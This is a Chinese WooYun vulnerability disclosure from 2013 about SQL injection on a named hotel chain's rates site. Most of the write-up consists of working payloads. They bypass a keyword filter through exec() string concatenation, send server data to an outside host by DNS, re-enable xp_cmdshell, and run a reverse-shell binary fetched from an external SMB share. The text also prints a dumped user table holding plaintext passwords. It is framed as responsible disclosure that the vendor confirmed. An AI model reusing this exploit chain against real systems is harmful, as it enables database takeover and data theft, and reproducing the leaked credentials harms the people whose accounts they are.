当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044473

漏洞标题:如家某处一个经典SQL注射

相关厂商:如家酒店集团

漏洞作者: sql

提交时间:2013-11-30 01:11

修复时间:2014-01-14 01:12

公开时间:2014-01-14 01:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-30: 细节已通知厂商并且等待厂商处理中
2013-12-01: 厂商已经确认,细节仅向厂商公开
2013-12-11: 细节向核心白帽子及相关领域专家公开
2013-12-21: 细节向普通白帽子公开
2013-12-31: 细节向实习白帽子公开
2014-01-14: 细节向公众公开

简要描述:

rt

详细说明:

本吊昨天发现如家一个注入点,感觉这个点应该是被基友日过,然后被如家给补了。
但是没补好,还是漏了一点点空给我。
于是我想好好利用这个点,做点事情。
既然是周末,那么本吊就不怕明天上课迟到了,先日站,再离线迅雷看片,然后大家都懂的。
注入点是这个
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and 'a'='a
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and 'a'='b
明显的一个错误,一个正确。
那么就是典型的字符型SQL注入。
但是我用SQLMAP没跑出来。
于是只好本吊亲自上阵了,很久没亲自操刀了,感觉很陌生得慌。
因为是aspx 所以感觉是mssql
就先执行了这个:
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'and(select count(*) from sysobjects)>0

bb1.jpg


警告!你的IP已经被记录!不要使用敏感字符!
于是我知道了,过滤了select
后来经测试,还过滤了 master declare等关键字。
并且 令人蛋疼的是 错误提示关闭。没办法爆错显信息啊。
大家肯定说那你openrowset吧。
我也知道这么弄,可sqlserver 2005以上默认是关闭的。还是先判断数据库版本吧。
执行
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'and substring((select @@version),23,4)='2000'and'a'='a
返回错误。
说明不是mssql2000
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'substring((@@version),22,4)='2005'and'a'='a
这个也返回错误
说明不是mssql2005
后来检测到是mssql2008.
然后检测一下权限。
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1 and 'a'='a
返回正常
竟然是sa。 我瞬间释然了。现在还能碰到sa啊 看来应该可以拿下了。
现在就剩绕过ids了。
经检测exec没有过滤,那么可以使用exec(sql语句的方式)
exec('sel'+'ect @@version);这样就绕过IDS了。哈哈
其实这里有个快速获取数据库信息的方法
刚好 基友有个VPS 我们就试了一下。
就是利用dns解析得到 想要的数据。
执行
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'exec('ba'%2b'ckup+lo'%2b'g+ma'%2b'ster+to+di'%2b'sk=''\\'%2b@@servername%2b'.xxx.xxx\a'';')--
然后我再VPS监听
就得到@@servername的信息了。

aaa.jpg


获取到是 :R021RJSH00223S2
通过这样的方法可以获取你想要的信息
不过这里既然是sa,那么 就不费劲了。
直接用exec()的方式执行任何sql语句。
恢复xp_cmshell
然后直接反向链接程序,就弹回来了。
这里我执行的是
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'exec('ex'%2b'ec+ma'%2b'ster..x'%2b'p_cm'%2b'dshell''\\1.1.1.1\pub\ma.exe''')--
直接把反弹程序放在vps就行了
当然这里vps是配置共享服务,开放445什么的 大家都懂的。

aa1.jpg


这是弹回来的图。

aa2.jpg


这是C盘,貌似有别人的马,看来被日过了。

aaa3.jpg


这是备份的数据库。
然后我在cmd执行sql语句看下数据库的内容
具体是这样的:
osql /E /Q "select @@version"
osql /E /Q "select name from sysdatabases where dbid>4"
这样可以直接在命令行执行sql语句的。

aaa4.jpg


这是其中一个表的内容
D:\>osql /E /Q "use customer;select * from users"
osql /E /Q "use customer;select * from users"
ID UserCode
UserName UserPassword
UserEmail RoleCode
Flag
----------- --------------------
-------------------------------------------------- --------------
-------------------------------------------------- --------------
----
3 1001
admin 111111
1001
1
4 1002
ceshi 111111
1002
1
5 1003
3333 111111
这是D盘:

aa6666.jpg


其实呢,我已经有数据库服务器的管理员权限了
可以轻松把所有数据库COPY到我的vps里面。
也可以给数据库服务器装木马,干什么都行。
所以就到此为止吧。

漏洞证明:

同上
(有个小错误修改了下,有一个图抹掉了漏点 ,求通过)

修复方案:

要补就不要留下空隙嘛。

版权声明:转载请注明来源 sql@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2013-12-01 22:34

厂商回复:

感谢关注!

最新状态:

暂无